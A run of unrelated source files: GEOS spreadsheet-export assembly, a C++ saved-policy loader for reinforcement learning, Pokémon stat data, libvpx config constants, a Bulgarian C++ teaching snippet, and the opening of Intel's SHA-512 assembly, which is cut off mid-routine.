MemUnlock ; save FieldHeaderInfo mov EFD_Local.ISF_fieldType, al mov EFD_Local.ISF_fieldLength, cx ; check to see if the current cell data type matches field data type push ax mov al, ds:[si].CC_type ; al - CellType call CompareDataTypes ; check for data type conflict pop ax jne emptyCell ; if so, write out empty cell add si, size CellCommon ; ds:si - pointer to field data ; check to see if this is an empty column cmp EFD_Local.ISF_emptyField, TRUE jne notEmpty ; if not, skip ; if this is an empty field in a non empty column ; then write out the empty field data emptyCell: jcxz exit call ExportEmptyFieldData ; write out empty field jmp exit notEmpty: cmp al, FDT_GENERAL_TEXT jne checkInteger call ExportTextField jmp exit ; check to see if this is an integer field checkInteger: cmp al, FDT_INTEGER jne checkReal call ExportIntegerField jmp exit ; check to see if this is a real field checkReal: cmp al, FDT_REAL jne checkDate call ExportIntegerField jmp exit ; check to see if this is a date field checkDate: cmp al, FDT_DATE jne checkTime call ExportDateField jmp exit ; check to see if this is a time field checkTime: cmp al, FDT_TIME jne checkIgnore call ExportTimeFieldData jmp exit ; check to see if this is an ignored field checkIgnore: cmp al, FDT_IGNORE jne checkFormula1 call ExportEmptyFieldData ; write out empty field jmp exit ; check to see if this is a text formula field checkFormula1: cmp al, FDT_FORMULA_TEXT jne checkFormula2 call ExportTextFormulaFieldData jmp exit ; check to see if this is a numeric formula field checkFormula2: cmp al, FDT_FORMULA_CONST ; is this a numeric formula field? je formula ; if so, skip to handle it stc ; if not a formula field, jmp exit ; exit with carry set formula: call ExportNumericFormulaFieldData exit: .leave ret ExportFieldData endp CompareDataTypes proc near CDT_Local local ImpexStackFrame CDT_SSMeta local SSMetaStruc .enter inherit near cmp al, CT_CONSTANT jne other ; treat FDT_REAL, FDT_INTEGER, FDT_DATE, and FDT_TIME the same cmp CDT_Local.ISF_fieldType, FDT_REAL je exit cmp CDT_Local.ISF_fieldType, FDT_INTEGER je exit cmp CDT_Local.ISF_fieldType, FDT_DATE je exit cmp CDT_Local.ISF_fieldType, FDT_TIME jmp exit other: call ConvertCellType cmp CDT_Local.ISF_fieldType, al exit: .leave ret CompareDataTypes endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ExportTextField %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Writes out text field data CALLED BY: INTERNAL (ExportFieldData) PASS: ds:si - ptr to field data RETURN: carry set if there was a file error DESTROYED: ax, bx, cx, es, si, di SIDE EFFECTS: nothing PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- THK 9/92 Initial revision %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ExportTextField proc near ETF_Local local ImpexStackFrame ETF_SSMeta local SSMetaStruc .enter inherit near ; lock the data block mov bx, ETF_Local.ISF_fieldBlock call MemLock mov cx, TEXT_FIELD_SIZE ; cx - size of data block ; initialize this data block with space characters mov es, ax clr di mov al, SPACE rep stosb ; copy the text string in ds:si to this data block mov cx, TEXT_FIELD_SIZE ; cx - size of data block clr di next: lodsb tst al ; do not copy null terminator je exitLoop stosb loop next exitLoop: ; write out this data block to export file mov cx, ETF_Local.ISF_fieldLength ; cx - # of bytes to write out segmov ds, es clr dx ; ds:dx - fptr to string mov bx, ETF_Local.ISF_cacheBlock ; bx - handle of cache block call OutputCacheWrite ; write header block pushf ; save the flags mov bx, ETF_Local.ISF_fieldBlock call MemUnlock popf ; restore the flags .leave ret ExportTextField endp ExportIntegerField proc near EIF_Local local ImpexStackFrame EIF_SSMeta local SSMetaStruc .enter inherit near ; lock the data block mov bx, EIF_Local.ISF_fieldBlock call MemLock mov cx, TEXT_FIELD_SIZE ; cx - size of data block ; initialize this data block with space characters mov es, ax clr di mov al, SPACE rep stosb ; convert number to ascii string mov di, INTEGER_FIELD_SIZE ; es:di - destination addr mov al, EIF_Local.ISF_fieldType ; al - field data type call ExportIntegerToAscii ; convert the number tst cx ; successful conversion? jne noError ; if so, skip ; if error, get the size of error string call LocalStringSize ; cx <- Size of string noError: ; write out this data field to export file mov dx, EIF_Local.ISF_fieldLength ; dx - field length cmp cx, dx ; ascii string too long? jge tooLong ; if so, skip ; figure out where the start of string to copy is sub dx, cx mov ax, INTEGER_FIELD_SIZE sub ax, dx xchg dx, ax jmp common tooLong: mov dx, INTEGER_FIELD_SIZE ; ds:dx - ptr to field data common: mov cx, EIF_Local.ISF_fieldLength ; cx - # of bytes to copy segmov ds, es mov bx, EIF_Local.ISF_cacheBlock ; bx - handle of cache block call OutputCacheWrite ; write out data field pushf mov bx, EIF_Local.ISF_fieldBlock call MemUnlock popf .leave ret ExportIntegerField endp ExportIntegerToAscii proc near EITA_Local local FFA_stackFrame .enter ; no header or trailer string mov EITA_Local.FFA_float.FFA_params.header, 0 mov EITA_Local.FFA_float.FFA_params.trailer, 0 mov EITA_Local.FFA_float.FFA_params.formatFlags, mask FFAF_FROM_ADDR mov EITA_Local.FFA_float.FFA_params.decimalLimit, 0 cmp al, FDT_FORMULA_CONST ; formula number? je skip ; if so, skip cmp al, FDT_REAL ; float number field? jne notFloat ; if not, skip ; if float format, use the default decimal limit ; I AM USING A DEFAULT VALUE FOR ALL FLOAT FIELDS BECAUSE THERE ; IS NOT AN EASY WAY OF GETTING DECIMAL OFFSETS FOR EACH FIELD skip: mov EITA_Local.FFA_float.FFA_params.decimalLimit, DEFAULT_DECIMAL_OFFSET notFloat: mov EITA_Local.FFA_float.FFA_params.totalDigits, DECIMAL_PRECISION mov EITA_Local.FFA_float.FFA_params.decimalOffset, 0 mov EITA_Local.FFA_float.FFA_params.preNegative, '-' mov EITA_Local.FFA_float.FFA_params.preNegative+1, 0 mov EITA_Local.FFA_float.FFA_params.postNegative, 0 mov EITA_Local.FFA_float.FFA_params.postPositive, 0 mov EITA_Local.FFA_float.FFA_params.prePositive, 0 call FloatFloatToAscii ; convert! .leave ret ExportIntegerToAscii endp ExportDateField proc near EDF_Local local ImpexStackFrame EDF_SSMeta local SSMetaStruc .enter inherit near ; lock the data block mov bx, EDF_Local.ISF_fieldBlock call MemLock mov es, ax clr di ; initialize the floating point stack mov ax, FP_DEFAULT_STACK_SIZE mov bl, FLOAT_STACK_DEFAULT_TYPE call FloatInit ; push the float number on to the stack call FloatPushNumber call FloatDateNumberGetYear ; ax - year number jnc noError ; skip if no error clr ax ; just convert zero noError: clr dx ; dx:ax - number to convert mov cx, mask UHTAF_INCLUDE_LEADING_ZEROS ; cx - UtilHexToAsciiFlags call UtilHex32ToAscii ; convert it to ascii ; write out year string to export file push ds, si mov cx, DATE_YEAR_SIZE ; cx - # of bytes to write out mov dx, 6 ; ds:dx - ptr to field data segmov ds, es mov bx, EDF_Local.ISF_cacheBlock ; bx - handle of cache block call OutputCacheWrite ; write out data field pop ds, si jc error ; exit if error ; push the float number on to the stack again call FloatPushNumber call FloatDateNumberGetMonthAndDay ; bl - month, bh - day clr di ; es:di - destination buffer clr dx clr ah mov al, bl ; dx:ax - number to convert mov cx, mask UHTAF_INCLUDE_LEADING_ZEROS ; cx - UtilHexToAsciiFlags call UtilHex32ToAscii ; convert month to ascii ; write out month string to export file push bx mov cx, 2 ; cx - # of bytes to write out mov dx, 8 ; ds:dx - ptr to field data segmov ds, es mov bx, EDF_Local.ISF_cacheBlock ; bx - handle of cache block call OutputCacheWrite ; write out data field pop bx jc error ; exit if error clr di ; es:di - destination buffer clr dx clr ah mov al, bh mov cx, mask UHTAF_INCLUDE_LEADING_ZEROS ; cx - UtilHexToAsciiFlags call UtilHex32ToAscii ; convert day to ascii ; write out date string to export file mov cx, 2 ; cx - # of bytes to write out mov dx, 8 ; ds:dx - ptr to field data segmov ds, es mov bx, EDF_Local.ISF_cacheBlock ; bx - handle of cache block call OutputCacheWrite ; write out data field error: pushf call FloatExit mov bx, EDF_Local.ISF_fieldBlock call MemUnlock popf .leave ret ExportDateField endp ExportTimeFieldData proc near ETFD_Local local ImpexStackFrame ETFD_SSMeta local SSMetaStruc .enter inherit near ; lock the data block mov bx, ETFD_Local.ISF_fieldBlock call MemLock mov cx, FLOAT_TO_ASCII_NORMAL_BUF_LEN ; initialize this data block with space characters mov es, ax clr di mov al, SPACE rep stosb ; convert time float number to ascii string clr di ; es:di - destination buffer call ExportTimeToAscii ; count the number of bytes in the ascii string call LocalStringSize ; cx - string size mov di, cx mov byte ptr es:[di], SPACE ; write out time string to export file mov cx, ETFD_Local.ISF_fieldLength ; cx - # of bytes to copy clr dx segmov ds, es ; ds:dx - ptr to string to copy mov bx, ETFD_Local.ISF_cacheBlock ; bx - handle of cache block call OutputCacheWrite ; write out data field pushf mov bx, ETFD_Local.ISF_fieldBlock call MemUnlock popf .leave ret ExportTimeFieldData endp ExportTimeToAscii proc near ETTA_Local local FFA_stackFrame .enter mov ax, DTF_HMS ; time format mov bx, mask FFDT_DATE_TIME_OP or mask FFDT_FROM_ADDR or ax, bx mov ETTA_Local.FFA_dateTime.FFA_dateTimeParams.FFA_dateTimeFlags, ax call FloatFloatToAscii ; convert to time .leave ret ExportTimeToAscii endp ExportEmptyFieldData proc near EEFD_Local local ImpexStackFrame EEFD_SSMeta local SSMetaStruc .enter inherit near ; lock the data block mov bx, EEFD_Local.ISF_fieldBlock call MemLock mov cx, TEXT_FIELD_SIZE ; cx - size of data block ; initialize this data block with space characters mov es, ax clr di mov al, SPACE rep stosb ; write out empty data block to export file mov cx, EEFD_Local.ISF_fieldLength ; cx - # of bytes to write out segmov ds, es clr dx ; ds:dx - fptr to string mov bx, EEFD_Local.ISF_cacheBlock ; bx - handle of cache block call OutputCacheWrite ; write header block pushf mov bx, EEFD_Local.ISF_fieldBlock call MemUnlock popf .leave ret ExportEmptyFieldData endp ExportTextFormulaFieldData proc near ETFFD_Local local ImpexStackFrame ETFFD_SSMeta local SSMetaStruc .enter inherit near inc si call ExportTextField .leave ret ExportTextFormulaFieldData endp ExportNumericFormulaFieldData proc near ENFFD_Local local ImpexStackFrame ENFFD_SSMeta local SSMetaStruc .enter inherit near inc si call ExportIntegerField .leave ret ExportNumericFormulaFieldData endp endOF byte 26, 0 ExportEndOfFileChar proc near uses ds, cx, bp EEOFC_Local local ImpexStackFrame EEOFC_SSMeta local SSMetaStruc .enter inherit near segmov ds, cs mov dx, offset endOF ; ds:dx - fptr to string mov cx, 1 ; cx - # of bytes to write out mov bx, EEOFC_Local.ISF_cacheBlock ; bx - handle of cache block call OutputCacheWrite ; write out these two chars .leave ret ExportEndOfFileChar endp Export ends
#include <rl_agent/SavedPolicy.hh> #include <algorithm> SavedPolicy::SavedPolicy(int numactions, const char* filename): numactions(numactions) { ACTDEBUG = false; LOADDEBUG = false; loaded = false; loadPolicy(filename); } SavedPolicy::~SavedPolicy() {} int SavedPolicy::first_action(const std::vector<float> &s) { if (ACTDEBUG){ cout << "First - in state: "; printState(s); cout << endl; } // Get action values std::vector<float> &Q_s = Q[canonicalize(s)]; // Choose an action const std::vector<float>::iterator a = std::max_element(Q_s.begin(), Q_s.end()); // Choose maximum if (ACTDEBUG){ cout << " act: " << (a-Q_s.begin()) << " val: " << *a << endl; for (int iAct = 0; iAct < numactions; iAct++){ cout << " Action: " << iAct << " val: " << Q_s[iAct] << endl; } cout << "Took action " << (a-Q_s.begin()) << " from state "; printState(s); cout << endl; } return a - Q_s.begin(); } int SavedPolicy::next_action(float r, const std::vector<float> &s) { if (ACTDEBUG){ cout << "Next: got reward " << r << " in state: "; printState(s); cout << endl; } // Get action values std::vector<float> &Q_s = Q[canonicalize(s)]; const std::vector<float>::iterator max = std::max_element(Q_s.begin(), Q_s.end()); // Choose an action const std::vector<float>::iterator a = max; if (ACTDEBUG){ cout << " act: " << (a-Q_s.begin()) << " val: " << *a << endl; for (int iAct = 0; iAct < numactions; iAct++){ cout << " Action: " << iAct << " val: " << Q_s[iAct] << endl; } cout << "Took action " << (a-Q_s.begin()) << " from state "; printState(s); cout << endl; } return a - Q_s.begin(); } void SavedPolicy::last_action(float r) { if (ACTDEBUG){ cout << "Last: got reward " << r << endl; } } SavedPolicy::state_t SavedPolicy::canonicalize(const std::vector<float> &s) { const std::pair<std::set<std::vector<float> >::iterator, bool> result = statespace.insert(s); state_t retval = &*result.first; // Dereference iterator then get pointer if (result.second) { // s is new, so initialize Q(s,a) for all a if (loaded){ cout << "State unknown in policy!!!" << endl; for (unsigned i = 0; i < s.size(); i++){ cout << s[i] << ", "; } cout << endl; } std::vector<float> &Q_s = Q[retval]; Q_s.resize(numactions,0.0); } return retval; } void SavedPolicy::printState(const std::vector<float> &s){ for (unsigned j = 0; j < s.size(); j++){ cout << s[j] << ", "; } } void SavedPolicy::seedExp(std::vector<experience> seeds){ return; } void SavedPolicy::loadPolicy(const char* filename){ ifstream policyFile(filename, ios::in | ios::binary); // first part, save the vector size int fsize; policyFile.read((char*)&fsize, sizeof(int)); if (LOADDEBUG) cout << "Numfeats loaded: " << fsize << endl; // save numactions int nact; policyFile.read((char*)&nact, sizeof(int)); if (nact != numactions){ cout << "this policy is not valid loaded nact: " << nact << " was told: " << numactions << endl; exit(-1); } // go through all states, loading q values while(!policyFile.eof()){ std::vector<float> state; state.resize(fsize, 0.0); // load state policyFile.read((char*)&(state[0]), sizeof(float)*fsize); if (LOADDEBUG){ cout << "load policy for state: "; printState(state); } state_t s = canonicalize(state); if (policyFile.eof()) break; // load q values policyFile.read((char*)&(Q[s][0]), sizeof(float)*numactions); if (LOADDEBUG){ cout << "Q values: " << endl; for (int iAct = 0; iAct < numactions; iAct++){ cout << " Action: " << iAct << " val: " << Q[s][iAct] << endl; } } } policyFile.close(); cout << "Policy loaded!!!" << endl; loaded = true; }
// in case of error the function fill a value_list // with -1 #include "misc.h" void get_null_values(int args_num,octave_value_list *list) { for (int i=0;i<args_num;i++) (*list)(i) = octave_value(-1); }
; --- [ f ] ------------------------------------------------------- ; int f(int y) ; ; ebp-8: s ; ebp-4: x ; ebp+0: old ebp ; ebp+4: return address ; ebp+8: y f: push ebp ; store old stack frame mov ebp, esp ; create new stack frame sub esp, 8 ; allocate local variables mov DWORD [ebp-4], 321 ; int x = 321 lea eax, [unk_8000040] ; "foo" mov DWORD [ebp-8], eax ; char *s = "foo" push DWORD [ebp-4] ; arg3: x push DWORD [ebp-8] ; arg2: s lea eax, [unk_8000044] ; "%s, %d" push eax ; arg1: format call printf ; printf("%s, %d", s, x) add esp, 12 ; caller cleanup mov eax, [ebp-4] ; x mov ebx, [ebp+8] ; y add eax, ebx ; return x + y mov esp, ebp ; deallocate local variables pop ebp ; restore old stack frame ret 4 ; callee cleanup [section .data] unk_8000040: db 'foo', 0 unk_8000044: db '%s, %d', 0
db DEX_NIDOQUEEN ; pokedex id db 90 ; base hp db 82 ; base attack db 87 ; base defense db 76 ; base speed db 75 ; base special db GROUND ; species type 1 db POISON ; species type 2 db 52 ; catch rate db 194 ; base exp yield INCBIN "pic/ymon/nidoqueen.pic",0,1 ; 77, sprite dimensions dw NidoqueenPicFront dw NidoqueenPicBack ; attacks known at lvl 0 db TACKLE db SCRATCH db TAIL_WHIP db BODY_SLAM db 3 ; growth rate ; learnset tmlearn 1,5,6,7,8 tmlearn 9,10,11,12,13,14,15,16 tmlearn 17,18,19,20,24 tmlearn 25,26,27,31,32 tmlearn 33,34,35,38,40 tmlearn 44,48 tmlearn 50,53,54 db BANK(NidoqueenPicFront)
// stdafx.cpp : source file that includes just the standard includes // DawnAppFramework.pch will be the pre-compiled header // stdafx.obj will contain the pre-compiled type information #include "stdafx.h" // TODO: reference any additional headers you need in STDAFX.H // and not in this file
/* Проблем: скриване на член-данни от локални променливи */ #include <iostream> using std::cout; using std::endl; class Test { int number; public: Test() { // Грешно! int number = 3; // Правилно 1: number = 3; // Правилно 2: this->number = 3; }; Test(int number) { // Грешно! number = number; // Правилно: this->number = number; } void printNumber() { cout << number << endl; } }; int main() { Test tmp; tmp.printNumber(); Test tmp2(26); tmp2.printNumber(); return 0; }
; Copyright (c) 2004, Intel Corporation ; All rights reserved. This program and the accompanying materials ; are licensed and made available under the terms and conditions of the BSD License ; which accompanies this distribution. The full text of the license may be found at ; http://opensource.org/licenses/bsd-license.php ; ; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, ; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. ; ; Module Name: ; ; ReadDr0.Asm ; ; Abstract: ; ; AsmReadDr0 function ; ; Notes: ; ;------------------------------------------------------------------------------ .code ;------------------------------------------------------------------------------ ; UINTN ; EFIAPI ; AsmReadDr0 ( ; VOID ; ); ;------------------------------------------------------------------------------ AsmReadDr0 PROC mov rax, dr0 ret AsmReadDr0 ENDP END
@ This file was created from a .asm file @ using the ads2gas.pl script. .equ DO1STROUNDING, 0 .equ ARCH_ARM , 0 .equ ARCH_MIPS , 0 .equ ARCH_X86 , 0 .equ ARCH_X86_64 , 0 .equ HAVE_EDSP , 0 .equ HAVE_MEDIA , 0 .equ HAVE_NEON , 0 .equ HAVE_NEON_ASM , 0 .equ HAVE_MIPS32 , 0 .equ HAVE_DSPR2 , 0 .equ HAVE_MSA , 0 .equ HAVE_MIPS64 , 0 .equ HAVE_MMX , 0 .equ HAVE_SSE , 0 .equ HAVE_SSE2 , 0 .equ HAVE_SSE3 , 0 .equ HAVE_SSSE3 , 0 .equ HAVE_SSE4_1 , 0 .equ HAVE_AVX , 0 .equ HAVE_AVX2 , 0 .equ HAVE_VPX_PORTS , 1 .equ HAVE_STDINT_H , 1 .equ HAVE_PTHREAD_H , 1 .equ HAVE_SYS_MMAN_H , 1 .equ HAVE_UNISTD_H , 0 .equ CONFIG_DEPENDENCY_TRACKING , 1 .equ CONFIG_EXTERNAL_BUILD , 1 .equ CONFIG_INSTALL_DOCS , 0 .equ CONFIG_INSTALL_BINS , 1 .equ CONFIG_INSTALL_LIBS , 1 .equ CONFIG_INSTALL_SRCS , 0 .equ CONFIG_USE_X86INC , 0 .equ CONFIG_DEBUG , 0 .equ CONFIG_GPROF , 0 .equ CONFIG_GCOV , 0 .equ CONFIG_RVCT , 0 .equ CONFIG_GCC , 1 .equ CONFIG_MSVS , 0 .equ CONFIG_PIC , 1 .equ CONFIG_BIG_ENDIAN , 0 .equ CONFIG_CODEC_SRCS , 0 .equ CONFIG_DEBUG_LIBS , 0 .equ CONFIG_DEQUANT_TOKENS , 0 .equ CONFIG_DC_RECON , 0 .equ CONFIG_RUNTIME_CPU_DETECT , 0 .equ CONFIG_POSTPROC , 1 .equ CONFIG_VP9_POSTPROC , 1 .equ CONFIG_MULTITHREAD , 1 .equ CONFIG_INTERNAL_STATS , 0 .equ CONFIG_VP8_ENCODER , 1 .equ CONFIG_VP8_DECODER , 1 .equ CONFIG_VP9_ENCODER , 1 .equ CONFIG_VP9_DECODER , 1 .equ CONFIG_VP10_ENCODER , 0 .equ CONFIG_VP10_DECODER , 0 .equ CONFIG_VP8 , 1 .equ CONFIG_VP9 , 1 .equ CONFIG_VP10 , 0 .equ CONFIG_ENCODERS , 1 .equ CONFIG_DECODERS , 1 .equ CONFIG_STATIC_MSVCRT , 0 .equ CONFIG_SPATIAL_RESAMPLING , 1 .equ CONFIG_REALTIME_ONLY , 1 .equ CONFIG_ONTHEFLY_BITPACKING , 0 .equ CONFIG_ERROR_CONCEALMENT , 0 .equ CONFIG_SHARED , 0 .equ CONFIG_STATIC , 1 .equ CONFIG_SMALL , 0 .equ CONFIG_POSTPROC_VISUALIZER , 0 .equ CONFIG_OS_SUPPORT , 1 .equ CONFIG_UNIT_TESTS , 0 .equ CONFIG_WEBM_IO , 1 .equ CONFIG_LIBYUV , 1 .equ CONFIG_DECODE_PERF_TESTS , 0 .equ CONFIG_ENCODE_PERF_TESTS , 0 .equ CONFIG_MULTI_RES_ENCODING , 1 .equ CONFIG_TEMPORAL_DENOISING , 1 .equ CONFIG_VP9_TEMPORAL_DENOISING , 1 .equ CONFIG_COEFFICIENT_RANGE_CHECKING , 0 .equ CONFIG_VP9_HIGHBITDEPTH , 0 .equ CONFIG_EXPERIMENTAL , 0 .equ CONFIG_SIZE_LIMIT , 1 .equ CONFIG_SPATIAL_SVC , 0 .equ CONFIG_FP_MB_STATS , 0 .equ CONFIG_EMULATE_HARDWARE , 0 .equ CONFIG_MISC_FIXES , 0 .equ DECODE_WIDTH_LIMIT , 16384 .equ DECODE_HEIGHT_LIMIT , 16384 .section .note.GNU-stack,"",%progbits
; Generated at 4/14/2019 1:59:47 AM DebugStub_CheckStack: add EAX, 0x4 mov EBX, EBP add EBX, EAX cmp EBX, ESP JE near DebugStub_CheckStack_Block1_End mov EAX, dword [ESP] mov dword [DebugStub_CallerEIP], EAX Call DebugStub_SendStackCorruptionOccurred DebugStub_CheckStack_halt: Jmp DebugStub_CheckStack_halt DebugStub_CheckStack_Block1_End: DebugStub_CheckStack_Exit: mov dword [INTs_LastKnownAddress], DebugStub_CheckStack_Exit Ret
; int putc(int c, FILE *stream) INCLUDE "config_private.inc" SECTION code_clib SECTION code_stdio ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; IF __CLIB_OPT_MULTITHREAD & $02 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; PUBLIC putc EXTERN fputc defc putc = fputc ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ELSE ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; PUBLIC putc EXTERN putc_unlocked defc putc = putc_unlocked ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ENDIF ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
############################################################################### # Copyright 2018 Intel Corporation # All Rights Reserved. # # If this software was obtained under the Intel Simplified Software License, # the following terms apply: # # The source code, information and material ("Material") contained herein is # owned by Intel Corporation or its suppliers or licensors, and title to such # Material remains with Intel Corporation or its suppliers or licensors. The # Material contains proprietary information of Intel or its suppliers and # licensors. The Material is protected by worldwide copyright laws and treaty # provisions. No part of the Material may be used, copied, reproduced, # modified, published, uploaded, posted, transmitted, distributed or disclosed # in any way without Intel's prior express written permission. No license under # any patent, copyright or other intellectual property rights in the Material # is granted to or conferred upon you, either expressly, by implication, # inducement, estoppel or otherwise. Any license under such intellectual # property rights must be express and approved by Intel in writing. # # Unless otherwise agreed by Intel in writing, you may not remove or alter this # notice or any other notice embedded in Materials by Intel or Intel's # suppliers or licensors in any way. # # # If this software was obtained under the Apache License, Version 2.0 (the # "License"), the following terms apply: # # You may not use this file except in compliance with the License. You may # obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 # # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # # See the License for the specific language governing permissions and # limitations under the License. ############################################################################### .section .note.GNU-stack,"",%progbits .text .p2align 4, 0x90 pByteSwp: .byte 7,6,5,4,3,2,1,0, 15,14,13,12,11,10,9,8 .p2align 4, 0x90 .globl UpdateSHA512 .type UpdateSHA512, @function UpdateSHA512: push %rbx push %r12 push %r13 push %r14 push %r15 push %rbp sub $(152), %rsp movslq %edx, %rdx movq %rdx, (128)(%rsp) mov %rcx, %rbp .Lsha512_block_loopgas_1: movdqu pByteSwp(%rip), %xmm4 movdqu (%rsi), %xmm0 pshufb %xmm4, %xmm0 movdqa %xmm0, (%rsp) movdqu (16)(%rsi), %xmm1 pshufb %xmm4, %xmm1 movdqa %xmm1, (16)(%rsp) movdqu (32)(%rsi), %xmm2 pshufb %xmm4, %xmm2 movdqa %xmm2, (32)(%rsp) movdqu (48)(%rsi), %xmm3 pshufb %xmm4, %xmm3 movdqa %xmm3, (48)(%rsp) movdqu (64)(%rsi), %xmm0 pshufb %xmm4, %xmm0 movdqa %xmm0, (64)(%rsp) movdqu (80)(%rsi), %xmm1 pshufb %xmm4, %xmm1 movdqa %xmm1, (80)(%rsp) movdqu (96)(%rsi), %xmm2 pshufb %xmm4, %xmm2 movdqa %xmm2, (96)(%rsp) movdqu (112)(%rsi), %xmm3 pshufb %xmm4, %xmm3 movdqa %xmm3, (112)(%rsp) mov (%rdi), %r8 mov (8)(%rdi), %r9 mov (16)(%rdi), %r10 mov (24)(%rdi), %r11 mov (32)(%rdi), %r12 mov (40)(%rdi), %r13 mov (48)(%rdi), %r14 mov (56)(%rdi), %r15 add (%rbp), %r15 add (%rsp), %r15 mov %r12, %rcx mov %r12, %rdx shrd $(14), %rcx, %rcx mov %r12, %rbx push %r12 not %rdx shrd $(18), %r12, %r12 and %r13, %rbx and %r14, %rdx xor %r12, %rcx shrd $(23), %r12, %r12 xor %rbx, %rdx xor %r12, %rcx pop %r12 lea (%rdx,%rcx), %rbx add %rbx, %r15 add %r15, %r11 mov %r8, %rcx mov %r8, %rdx shrd $(28), %rcx, %rcx mov %r8, %rbx push %r8 xor %r9, %rdx shrd $(34), %r8, %r8 and %r9, %rbx and %r10, %rdx xor %r8, %rcx shrd $(5), %r8, %r8 xor %rbx, %rdx xor %r8, %rcx pop %r8 lea (%rdx,%rcx), %rbx add %rbx, %r15 mov (8)(%rsp), %rax mov (112)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (8)(%rsp), %rcx mov (112)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (%rsp), %rax add (72)(%rsp), %rbx add %rbx, %rax mov %rax, (%rsp) add (8)(%rbp), %r14 add (8)(%rsp), %r14 mov %r11, %rcx mov %r11, %rdx shrd $(14), %rcx, %rcx mov %r11, %rbx push %r11 not %rdx shrd $(18), %r11, %r11 and %r12, %rbx and %r13, %rdx xor %r11, %rcx shrd $(23), %r11, %r11 xor %rbx, %rdx xor %r11, %rcx pop %r11 lea (%rdx,%rcx), %rbx add %rbx, %r14 add %r14, %r10 mov %r15, %rcx mov %r15, %rdx shrd $(28), %rcx, %rcx mov %r15, %rbx push %r15 xor %r8, %rdx shrd $(34), %r15, %r15 and %r8, %rbx and %r9, %rdx xor %r15, %rcx shrd $(5), %r15, %r15 xor %rbx, %rdx xor %r15, %rcx pop %r15 lea (%rdx,%rcx), %rbx add %rbx, %r14 mov (16)(%rsp), %rax mov (120)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (16)(%rsp), %rcx mov (120)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (8)(%rsp), %rax add (80)(%rsp), %rbx add %rbx, %rax mov %rax, (8)(%rsp) add (16)(%rbp), %r13 add (16)(%rsp), %r13 mov %r10, %rcx mov %r10, %rdx shrd $(14), %rcx, %rcx mov %r10, %rbx push %r10 not %rdx shrd $(18), %r10, %r10 and %r11, %rbx and %r12, %rdx xor %r10, %rcx shrd $(23), %r10, %r10 xor %rbx, %rdx xor %r10, %rcx pop %r10 lea (%rdx,%rcx), %rbx add %rbx, %r13 add %r13, %r9 mov %r14, %rcx mov %r14, %rdx shrd $(28), %rcx, %rcx mov %r14, %rbx push %r14 xor %r15, %rdx shrd $(34), %r14, %r14 and %r15, %rbx and %r8, %rdx xor %r14, %rcx shrd $(5), %r14, %r14 xor %rbx, %rdx xor %r14, %rcx pop %r14 lea (%rdx,%rcx), %rbx add %rbx, %r13 mov (24)(%rsp), %rax mov (%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (24)(%rsp), %rcx mov (%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (16)(%rsp), %rax add (88)(%rsp), %rbx add %rbx, %rax mov %rax, (16)(%rsp) add (24)(%rbp), %r12 add (24)(%rsp), %r12 mov %r9, %rcx mov %r9, %rdx shrd $(14), %rcx, %rcx mov %r9, %rbx push %r9 not %rdx shrd $(18), %r9, %r9 and %r10, %rbx and %r11, %rdx xor %r9, %rcx shrd $(23), %r9, %r9 xor %rbx, %rdx xor %r9, %rcx pop %r9 lea (%rdx,%rcx), %rbx add %rbx, %r12 add %r12, %r8 mov %r13, %rcx mov %r13, %rdx shrd $(28), %rcx, %rcx mov %r13, %rbx push %r13 xor %r14, %rdx shrd $(34), %r13, %r13 and %r14, %rbx and %r15, %rdx xor %r13, %rcx shrd $(5), %r13, %r13 xor %rbx, %rdx xor %r13, %rcx pop %r13 lea (%rdx,%rcx), %rbx add %rbx, %r12 mov (32)(%rsp), %rax mov (8)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (32)(%rsp), %rcx mov (8)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (24)(%rsp), %rax add (96)(%rsp), %rbx add %rbx, %rax mov %rax, (24)(%rsp) add (32)(%rbp), %r11 add (32)(%rsp), %r11 mov %r8, %rcx mov %r8, %rdx shrd $(14), %rcx, %rcx mov %r8, %rbx push %r8 not %rdx shrd $(18), %r8, %r8 and %r9, %rbx and %r10, %rdx xor %r8, %rcx shrd $(23), %r8, %r8 xor %rbx, %rdx xor %r8, %rcx pop %r8 lea (%rdx,%rcx), %rbx add %rbx, %r11 add %r11, 